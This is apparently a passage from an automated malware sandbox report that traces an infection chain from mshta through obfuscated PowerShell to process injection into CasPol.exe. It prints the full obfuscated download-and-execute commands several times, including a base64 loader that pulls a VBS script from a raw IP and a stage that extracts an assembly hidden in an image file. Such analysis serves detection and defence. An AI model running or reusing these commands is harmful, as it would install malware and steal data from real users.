Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	API call chain: ExitProcess graph end node			graph_12-54429
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Yara detected Powershell download and execute

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_0043A86D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

12_2_0043A86D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

13_2_0040DD85

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

12_2_0041BEEE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00442764 mov eax, dword ptr fs:[00000030h]		12_2_00442764
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_10004AB4 mov eax, dword ptr fs:[00000030h]		12_2_10004AB4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00410BF1 GetNativeSystemInfo,GetProcessHeap,HeapAlloc,SetLastError,SetLastError,

12_2_00410BF1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00434378 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00434378
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0043A86D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_0043A86D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00433D4F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00433D4F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00433EE2 SetUnhandledExceptionFilter,	12_2_00433EE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_100060E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_100060E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_10002639 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_10002639
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_10002B1C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_10002B1C

HIPS / PFW / Operating System Protection Evasion

Source: Yara match	File source: amsi32_7652.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 7600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7652, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_0041742B GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,

12_2_0041742B

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 401000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 458000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 471000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 477000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 47C000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: E4D008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

12_2_0041100E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_0041894A mouse_event,

12_2_0041894A

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsforgetmebackwithgoodnewsthi.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8DF2.tmp" "c:\Users\user\AppData\Local\Temp\2qf3pwzp\CSCB3A240E1501D48929A893BA197F62C4E.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredText = $originalText -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = New-Object System.Net.WebClient;$polyedrons = $nectars.DownloadData($wheal);$tropical = [System.Text.Encoding]::UTF8.GetString($polyedrons);$bubbas = '<<BASE64_START>>';$fairhood = '<<BASE64_END>>';$fulminatory = $tropical.IndexOf($bubbas);$quadriloge = $tropical.IndexOf($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.Length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.Substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.ToCharArray() \| ForEach-Object { $_ })[-1..-($moorcocks.Length)];$unreigned = [System.Convert]::FromBase64String($pelisse);$chevaux = [System.Reflection.Assembly]::Load($unreigned);$cutesily = [dnlib.IO.Home].GetMethod('VAI');$cutesily.Invoke($null, @($restoredText, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'CasPol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\aockdegvxmbvbenvzdaftknehua"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\kihdewrolutadkbziovgwxanibscod"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\nkmnepbqzclnnyxdazhahcueqhcdhonmrf"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jgjvwg5vdsagicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagigfkrc1uwvbficagicagicagicagicagicagicagicagicagicagicagic1nzu1izxjeruzjbml0sw9oicagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvckxnt04uzexsiiwgicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagicbilhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicblb29qlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbfcvosdwludcagicagicagicagicagicagicagicagicagicagicagicb0awdtleludfb0ciagicagicagicagicagicagicagicagicagicagicagicbjbmduwwpaefvnktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjmvmyiicagicagicagicagicagicagicagicagicagicagicagic1uyw1lc1bby0ugicagicagicagicagicagicagicagicagicagicagicagrwdoysagicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagicrib1huvxu6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljeymy43lzc3l3nlzxrozwjlc3r0agluz3nmb3jnzxrtzwjhy2t3axroz29vzg5ld3n0agluz3mudelgiiwijevovjpbufbeqvrbxhnlzxrozwjlc3r0agluz3nmb3jnzxrtzwjhy2t3axroz29vzg5ld3n0agkudmjtiiwwldapo1n0yvjulxnszuvqkdmpo2luvm9rrs1fwhbyrvntau9oicagicagicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcc2vldghlymvzdhroaw5nc2zvcmdldg1lymfja3dpdghnb29kbmv3c3roas52ylmi'+[char]34+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jgjvwg5vdsagicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagigfkrc1uwvbficagicagicagicagicagicagicagicagicagicagicagic1nzu1izxjeruzjbml0sw9oicagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvckxnt04uzexsiiwgicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagicbilhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicblb29qlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbfcvosdwludcagicagicagicagicagicagicagicagicagicagicagicb0awdtleludfb0ciagicagicagicagicagicagicagicagicagicagicagicbjbmduwwpaefvnktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjmvmyiicagicagicagicagicagicagicagicagicagicagicagic1uyw1lc1bby0ugicagicagicagicagicagicagicagicagicagicagicagrwdoysagicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagicrib1huvxu6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljeymy43lzc3l3nlzxrozwjlc3r0agluz3nmb3jnzxrtzwjhy2t3axroz29vzg5ld3n0agluz3mudelgiiwijevovjpbufbeqvrbxhnlzxrozwjlc3r0agluz3nmb3jnzxrtzwjhy2t3axroz29vzg5ld3n0agkudmjtiiwwldapo1n0yvjulxnszuvqkdmpo2luvm9rrs1fwhbyrvntau9oicagicagicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcc2vldghlymvzdhroaw5nc2zvcmdldg1lymfja3dpdghnb29kbmv3c3roas52ylmi'+[char]34+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };$originaltext = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredtext = $originaltext -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = new-object system.net.webclient;$polyedrons = $nectars.downloaddata($wheal);$tropical = [system.text.encoding]::utf8.getstring($polyedrons);$bubbas = '<<base64_start>>';$fairhood = '<<base64_end>>';$fulminatory = $tropical.indexof($bubbas);$quadriloge = $tropical.indexof($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.tochararray() \| foreach-object { $_ })[-1..-($moorcocks.length)];$unreigned = [system.convert]::frombase64string($pelisse);$chevaux = [system.reflection.assembly]::load($unreigned);$cutesily = [dnlib.io.home].getmethod('vai');$cutesily.invoke($null, @($restoredtext, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'caspol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','taskname'));if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jgjvwg5vdsagicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagigfkrc1uwvbficagicagicagicagicagicagicagicagicagicagicagic1nzu1izxjeruzjbml0sw9oicagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvckxnt04uzexsiiwgicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagicbilhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicblb29qlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbfcvosdwludcagicagicagicagicagicagicagicagicagicagicagicb0awdtleludfb0ciagicagicagicagicagicagicagicagicagicagicagicbjbmduwwpaefvnktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjmvmyiicagicagicagicagicagicagicagicagicagicagicagic1uyw1lc1bby0ugicagicagicagicagicagicagicagicagicagicagicagrwdoysagicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagicrib1huvxu6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljeymy43lzc3l3nlzxrozwjlc3r0agluz3nmb3jnzxrtzwjhy2t3axroz29vzg5ld3n0agluz3mudelgiiwijevovjpbufbeqvrbxhnlzxrozwjlc3r0agluz3nmb3jnzxrtzwjhy2t3axroz29vzg5ld3n0agkudmjtiiwwldapo1n0yvjulxnszuvqkdmpo2luvm9rrs1fwhbyrvntau9oicagicagicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcc2vldghlymvzdhroaw5nc2zvcmdldg1lymfja3dpdghnb29kbmv3c3roas52ylmi'+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jgjvwg5vdsagicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagigfkrc1uwvbficagicagicagicagicagicagicagicagicagicagicagic1nzu1izxjeruzjbml0sw9oicagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvckxnt04uzexsiiwgicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagicbilhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicblb29qlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbfcvosdwludcagicagicagicagicagicagicagicagicagicagicagicb0awdtleludfb0ciagicagicagicagicagicagicagicagicagicagicagicbjbmduwwpaefvnktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjmvmyiicagicagicagicagicagicagicagicagicagicagicagic1uyw1lc1bby0ugicagicagicagicagicagicagicagicagicagicagicagrwdoysagicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagicrib1huvxu6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljeymy43lzc3l3nlzxrozwjlc3r0agluz3nmb3jnzxrtzwjhy2t3axroz29vzg5ld3n0agluz3mudelgiiwijevovjpbufbeqvrbxhnlzxrozwjlc3r0agluz3nmb3jnzxrtzwjhy2t3axroz29vzg5ld3n0agkudmjtiiwwldapo1n0yvjulxnszuvqkdmpo2luvm9rrs1fwhbyrvntau9oicagicagicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcc2vldghlymvzdhroaw5nc2zvcmdldg1lymfja3dpdghnb29kbmv3c3roas52ylmi'+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };$originaltext = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredtext = $originaltext -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = new-object system.net.webclient;$polyedrons = $nectars.downloaddata($wheal);$tropical = [system.text.encoding]::utf8.getstring($polyedrons);$bubbas = '<<base64_start>>';$fairhood = '<<base64_end>>';$fulminatory = $tropical.indexof($bubbas);$quadriloge = $tropical.indexof($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.tochararray() \| foreach-object { $_ })[-1..-($moorcocks.length)];$unreigned = [system.convert]::frombase64string($pelisse);$chevaux = [system.reflection.assembly]::load($unreigned);$cutesily = [dnlib.io.home].getmethod('vai');$cutesily.invoke($null, @($restoredtext, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'caspol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','taskname'));if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };"	Jump to behavior

Source: CasPol.exe, 0000000C.00000002.4102227044.0000000001373000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager'
